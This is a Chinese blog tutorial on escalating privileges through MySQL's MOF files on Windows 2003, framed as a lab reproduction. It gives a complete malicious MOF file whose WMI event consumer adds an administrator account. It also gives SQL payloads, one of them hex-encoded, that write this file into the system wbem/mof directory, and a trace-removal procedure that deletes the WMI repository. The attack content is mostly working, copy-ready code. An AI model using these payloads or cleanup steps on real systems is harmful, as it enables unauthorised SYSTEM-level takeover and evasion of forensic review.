ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

mysql mof提权

2022-01-31 14:03:36  阅读:318  来源: 互联网

标签:文件 system32 提权 file mysql mof priv


mysql mof提权

1. 前置知识

  • mysql中的secure_file_priv参数
    • 使用:
      • 当 secure_file_priv=NULL 时,是不允许mysql导出文件的
      • 当 secure_file_priv=xxx 时,是只允许mysql将文件导出到xxx目录下的
      • 当 secure_file_priv= 时,mysql可以将文件导出到任意目录下
      • 该参数在 my.ini 文件中。如要修改,只能通过my.ini文件修改,然后重启mysql。不能够通过sql语句进行修改。
    • 注意:
      • 在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
      • 在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件
  • MOF文件(了解一下即可)
    • 托管对象格式(MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

2. mof提权原理及利用条件

  • mof提权原理
    • C:\WINDOWS\system32\wbem\mof 目录下的mof文件每隔一段时间(几秒左右)就会被系统自动的执行,且为系统权限,因为这个mof里面有一部分是VBS脚本,所以可以利用这个VBS脚本来调用CMD执行系统命令,如果mysql有权限操作mof目录的话,就可以来执行任意命令了。
    • 由该原理我们也不难想到:这里mysql的作用就类似于一个桥梁,仅仅用来帮助我们写mof文件而执行mof文件的并不是mysql本身。那么如果存在另一个软件(或往更大的范围说:如果存在另一种方法),我们也可以通过它向C:\WINDOWS\system32\wbem\mof目录中写mof文件的话,也是可以达到同样的效果的,没必要非要是mysql。
  • 利用条件
    1. windows 03及以下版本
    2. secure-file-priv参数的值 "是空的"
    3. mysq启动身份具有权限去读写 C:\WINDOWS\system32\wbem\mof 目录

3. 提权复现

3.1 实验环境

  • 本实验环境使用的是phpstudy搭建
    • php-5.3.29-nts + apache
    • mysql版本是:5.5.53 MySQL Community Server (GPL)
    • 操作系统版本:windows 2003 sp2 enterprise edition

3.2 开始复现

  • 利用姿势其实是有两种:
    1. 第一种:我们先上传一个包含了恶意VBS代码的mof文件,再使用sql语句将上传的mof文件导出到 C:\WINDOWS\system32\wbem\mof目录下。
    2. 第二种:我们不上传mof文件,直接通过sql语句将恶意的VBS代码输出到 C:\WINDOWS\system32\wbem\mof 目录下(这个姿势在我们找不到上传点的情况下可以利用)。
  • 在这里我们假设已经拿到了网站的webshell,以及数据库的账号密码

3.2.1 第一种姿势

  1. 我们先把包含了恶意VBS代码的test.mof文件上传到 www 目录下
    01_webshell展示
  • 以下是 test.mof 文件中的恶意VBS代码
    #pragma namespace("\\\\.\\root\\subscription") 
    
    instance of __EventFilter as $EventFilter 
    { 
        EventNamespace = "Root\\Cimv2"; 
        Name  = "filtP2"; 
        Query = "Select * From __InstanceModificationEvent " 
                "Where TargetInstance Isa \"Win32_LocalTime\" " 
                "And TargetInstance.Second = 5"; 
        QueryLanguage = "WQL"; 
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    { 
        Name = "consPCSV2"; 
        ScriptingEngine = "JScript"; 
        ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
    }; 
    
    instance of __FilterToConsumerBinding 
    { 
        Consumer   = $Consumer; 
        Filter = $EventFilter; 
    };
    
  1. 查看 secure_file_priv 参数,看mysql是否被允许导出文件

    • payload:
      show variables like "secure_file_priv"
      
    • 发现 mysql可以导出文件
      02_查看secure_file_priv参数
    • 注意:
      • 我的mysql的版本是5.5.53,该参数应该为 “secure_file_priv=NULL”,在这里为了让实验继续下去,便将参数修改为了“secure_file_priv=”
  2. 将test.mof文件中的恶意代码导出到 C:\WINDOWS\system32\wbem\mof 目录下

    • payload:
      select load_file('C:/phpStudy/WWW/test.mof') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof'
      
    • 可以看到,我们已经成功的将mof文件导出到 C:\WINDOWS\system32\wbem\mof 目录下了
      03_导出mof文件
  3. 看我们的恶意代码是否被成功执行

    • 可以看到hack用户被成功创建,且被移动到了administrators组中
      04_查看结果

3.2.2 第二种姿势

  • 直接通过sql语句将恶意VBS代码写入到 mof目录下
  • payload:
    select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test2.mof"
    
    • 上面 sql 中 select 后面的字符串是恶意VBS代码的十六进制形式
    • 下图是执行的结果
      05_第二种姿势

4. 清除痕迹

  • 因为每隔一段时间时间,mof文件会被再次执行以致重新添加用户,所以想要清理痕迹得先暂时关闭 winmgmt服务再删除相关mof文件,这个时候在删除用户才会有效果
  • 操作命令如下(已检验可以使用):
    # 停止 winmgmt 服务
    net stop winmgmt
    # 删除 Repository 文件夹
    rmdir /s /q C:\Windows\system32\wbem\Repository\
    # 手动删除 mof 文件
    del C:\Windows\system32\wbem\mof\good\test.mof /F /S
    # 删除创建的用户
    net user hacker /del
    # 重新启动服务
    net start winmgmt
    
  • 实操
    06_扫尾演示

5. 参考

  1. https://blog.csdn.net/qq_45290991/article/details/117536250
  2. https://www.cnblogs.com/zzjdbk/p/12991468.html
  3. https://www.cnblogs.com/wkzb/p/13179418.html

标签:文件,system32,提权,file,mysql,mof,priv
来源: https://www.cnblogs.com/02SWD/p/15858225.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有